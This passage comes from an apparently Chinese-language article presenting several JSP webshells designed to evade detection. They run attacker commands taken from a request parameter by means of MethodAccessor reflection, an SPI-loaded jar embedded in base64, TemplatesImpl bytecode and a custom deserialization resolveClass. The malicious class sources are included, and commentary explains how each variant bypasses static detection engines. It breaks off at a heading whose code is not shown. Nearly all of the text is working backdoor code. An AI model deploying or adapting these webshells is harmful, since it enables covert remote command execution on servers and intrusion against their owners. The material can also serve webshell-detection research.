stringBuilder.append(line).append("\n"); } return stringBuilder.toString(); } } response.getOutputStream().write(new Threedr3am_8().echo().getBytes()); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
<%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Map" %> <%@ page import="sun.reflect.ReflectionFactory" %> <%@ page import="java.security.AccessController" %> <%@ page import="sun.reflect.MethodAccessor" %> <html> <body> <h2>MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell</h2> <%! public static class Threedr3am_9 { public static final Class clz = Class.forName("java.lang.ProcessImpl"); public static Object[] ooo; } %> <% String s = request.getParameter("threedr3am"); Threedr3am_9.ooo = new Object[]{s.split(" "), null, null, null, false}; Method method = Threedr3am_9.clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction()); MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method); Process process = (Process) methodAccessor.invoke(null, null); InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (stringBuilder.length() > 0) { response.getOutputStream().write(stringBuilder.toString().getBytes()); } %> </body> </html>
如果遇到了禁用Method.invoke的情况,我们还能使用MethodAccessor.invoke进行反射调用方法。
<%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.util.Random" %> <%@ page import="java.io.File" %> <%@ page import="java.nio.file.Files" %> <%@ page import="java.nio.file.Paths" %> <%@ page import="java.util.Base64" %> <%@ page import="javax.script.ScriptEngineFactory" %> <%@ page import="java.util.ServiceLoader" %> <%@ page import="java.util.Iterator" %> <html> <body> <h2>SPI机制的ScriptEngineManager自动加载实例化JSP Webshell</h2> <% String tmp = System.getProperty("java.io.tmpdir"); Random random = new Random(); String jarPath = tmp + File.separator + "cve-" + random.nextInt(1000000) + ".jar"; String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; String s = request.getParameter("threedr3am"); if (Files.exists(Paths.get(inputFile))) Files.delete(Paths.get(inputFile)); Files.write(Paths.get(inputFile), s.getBytes()); if (Files.exists(Paths.get(jarPath))) Files.delete(Paths.get(jarPath)); Files.write(Paths.get(jarPath), Base64.getDecoder().decode("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")); try { Iterator<ScriptEngineFactory> iterator = ServiceLoader .load(ScriptEngineFactory.class, new URLClassLoader(new URL[]{new URL("file:" + jarPath)})).iterator(); while (iterator.hasNext()) iterator.next(); } catch (Throwable e) { response.getOutputStream().write(e.getCause().getMessage().getBytes()); } %> </body> </html>
java的spi机制,具体也很简单,我也不想描述,可以去查查资料,这里的base64的内容,其实就是自行编译的一个jar包,其中有个恶意类实现了ScriptEngineFactory,在调用new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("file://" + jarPath)}));
,其中的代码实现会加载jar包内的META-INF/services/javax.script.ScriptEngineFactory
文件,读取class名,然后从jar包中加载并实例化,这样就能触发恶意类的代码执行了。
而这个jsp webshell的逻辑,利用了写临时文件,把jar写到临时目录持久化,让URLClassLoader能不出网本地加载,然后寄存用户shell命令到临时目录下的文件jabdhjabdjkandaldlanaklndkand.txt,接着在加载jar执行完命令后,把输出结果寄存在临时目录下的文件jfkdjkadnkladmknjknfkjnadkad.txt,最后在jsp中对其内容进行读取回显。
恶意class的内容是这样的:
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.List; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.File; /** * @author LaoHaiScript */ public class LaoHaiScript implements ScriptEngineFactory { public LaoHaiScript() { try { String tmp = System.getProperty("java.io.tmpdir"); String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt"; InputStream inputStream = Runtime.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).split(" ")).getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (Files.exists(Paths.get(outputFile))) Files.delete(Paths.get(outputFile)); Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes()); } catch (Throwable e) { e.printStackTrace(); } } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List<String> getExtensions() { return null; } @Override public List<String> getMimeTypes() { return null; } @Override public List<String> getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } }
META-INF/services/javax.script.ScriptEngineFactory文件的内容:
LaoHaiScript
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %> <%@ page import="java.io.File" %> <%@ page import="java.io.FileInputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.nio.file.Files" %> <%@ page import="java.nio.file.Paths" %> <%@ page import="java.util.Base64" %> <%@ page import="java.util.HashMap" %> <%@ page import="sun.misc.IOUtils" %> <%@ page import="sun.reflect.misc.FieldUtil" %> <html> <body> <h2>利用TemplatesImpl触发的JSP Webshell</h2> <% String tmp = System.getProperty("java.io.tmpdir"); String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt"; String s = request.getParameter("threedr3am"); if (Files.exists(Paths.get(inputFile))) Files.delete(Paths.get(inputFile)); Files.write(Paths.get(inputFile), s.getBytes()); TemplatesImpl t = new TemplatesImpl(); Field field = FieldUtil.getDeclaredFields(t.getClass())[4]; byte[][] bytes = new byte[1][]; bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg="); field.setAccessible(true); field.set(t, bytes); Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12]; field2.setAccessible(true); field2.set(t, TransformerFactoryImpl.newInstance()); Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3]; field3.setAccessible(true); field3.set(t, "threedr3am"); Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7]; field4.setAccessible(true); field4.set(t, new HashMap<>()); try { t.getOutputProperties(); } catch (Exception e) {} String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true)); response.getOutputStream().write(resutl.getBytes()); %> </body> </html>
熟悉java原生反序列化gadget的人,看到这个TemplatesImpl应该都比较熟悉了吧,这个类是很多gadget的核心,利用它实现了加载自定义恶意class并实例化,如果遇到了某些静态检测引擎对URLClassLoader的或者ClassLoader的检测,那么,就可以使用TemplatesImpl对其进行绕过。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.BufferedReader; import java.io.File; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.file.Files; import java.nio.file.Paths; /** * @author threedr3am */ public class Threedr3am_11 extends AbstractTranslet { public Threedr3am_11() { try { String tmp = System.getProperty("java.io.tmpdir"); String inputFile = tmp + File.separator + "cmd"; String outputFile = tmp + File.separator + "result"; InputStream inputStream = Runtime .getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).replace("%", "").split(" ")).getInputStream(); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append("\n"); } if (Files.exists(Paths.get(outputFile))) Files.delete(Paths.get(outputFile)); Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes()); } catch (Throwable e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
<%@ page import="java.io.ByteArrayInputStream" %> <%@ page import="java.io.File" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ObjectInputStream" %> <%@ page import="java.io.ObjectStreamClass" %> <%@ page import="java.net.URL" %> <%@ page import="java.net.URLClassLoader" %> <%@ page import="java.nio.file.Files" %> <%@ page import="java.nio.file.Paths" %> <%@ page import="java.util.Base64" %> <html> <body> <h2>重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell</h2> <% class Custom extends ObjectInputStream { public Custom(InputStream in) throws IOException { super(in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); String tmp = System.getProperty("java.io.tmpdir"); Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes()); Files.write(Paths.get(tmp + File.separator + "Threedr3am_12.class"), Base64.getDecoder().decode("yv66vgAAADQAtgoAJgBXBwBYCgACAFcIAFkKAFoAWwkAWgBcCgBdAF4HAF8KAAIAYAkAYQBiCABjCgACAGQKAGUAZgoAZwBoCgAIAGkKAGoAawoAagBsCgBtAG4HAG8HAHAKABQAcQoAEwByCgATAHMIAHQHAHUKABkAdgoAGQB3BwB4CgAcAFcHAHkKAB4AegcAewoAIABXCgAeAHwKAH0AfgoAHAB/CgCAAIEHAIIHAIMBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFAAAAAAAAAAEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxYWFhYOwEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAAN0bXABABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAJpcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQANU3RhY2tNYXBUYWJsZQcAewcAhAcAWAcAXwcAhQcAbwcAdQEACkV4Y2VwdGlvbnMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwcAhgcAhwEAClNvdXJjZUZpbGUBAAlYWFhYLmphdmEMAC0ALgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAOamF2YS5pby50bXBkaXIHAIgMAIkAigwAiwCMBwCNDACOAI8BABBqYXZhL2xhbmcvU3RyaW5nDACQAJEHAJIMAJMANwEAA0NNRAwAlACVBwCWDACXAJgHAJkMAJoAmwwALQCcBwCdDACeAJ8MAKAAoQcAogwAowCkAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAC0ApQwALQCmDACnAJUBAAEKAQATamF2YS9sYW5nL1Rocm93YWJsZQwAqAAuDAAtAI8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAtAKkBAARYWFhYDACqAKsHAKwMAK0AsAwAsQCyBwCzDAC0ALUBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABlqYXZhL2lvL09iamVjdElucHV0U3RyZWFtAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABShbQilWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAD3ByaW50U3RhY2tUcmFjZQEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYBAAt3cml0ZU9iamVjdAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsAIQAgACYAAQAnAAEAGgAoACkAAQAqAAAAAgArAAMAAQAtAC4AAQAvAAAALwABAAEAAAAFKrcAAbEAAAACADAAAAAGAAEAAAAWADEAAAAMAAEAAAAFADIAMwAAAAIANAA1AAIALwAAAXUABQAIAAAAjrsAAlm3AANNEgS4AAVOsgAGLbYAB7sACFm7AAJZtwADLbYACbIACrYACRILtgAJtgAMA70ACLgADbgADrcADzoEuAAQGQS2ABG2ABI6BbsAE1m7ABRZGQW3ABW3ABY6BhkGtgAXWToHxgASLBkHtgAJEhi2AAlXp//ppwAITi22ABq7ABlZLLYADLcAG78AAQAIAHoAfQAZAAMAMAAAADIADAAAABoACAAcAA4AHQAVAB4AQQAfAE4AIABgACIAawAjAHoAJwB9ACUAfgAmAIIAKAAxAAAAXAAJAA4AbAA2ADcAAwBBADkAOAA3AAQATgAsADkAOgAFAGAAGgA7ADwABgBoABIAPQA3AAcAfgAEAD4APwADAAAAjgAyADMAAAAAAI4AQABBAAEACACGAEIAQwACAEQAAAAzAAT/AGAABwcARQcARgcARwcASAcASAcASQcASgAA/wAZAAMHAEUHAEYHAEcAAEIHAEsEAEwAAAAEAAEAGQAJAE0ATgACAC8AAABrAAMAAgAAACu7ABxZtwAdTLsAHlkrtwAfuwAgWbcAIbYAIrIABrgAIyu2ACS2ACW2AAexAAAAAgAwAAAAEgAEAAAALAAIAC0AGgAuACoAMgAxAAAAFgACAAAAKwBPAFAAAAAIACMAUQBSAAEATAAAAAYAAgBTAFQAAgBVAAAAAgBWAK8AAAAKAAEAgAB9AK4ACQ==")); return Class.forName(name, false, new URLClassLoader(new URL[]{new URL("file:" + tmp + File.separator)})); } } try { new Custom(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyAARYWFhYAAAAAAAAAAECAAB4cA=="))).readObject(); } catch (Exception e) { response.getOutputStream().write(e.getCause().getMessage().getBytes()); } %> </body> </html>
而Threedr3am_12.class文件的源码:
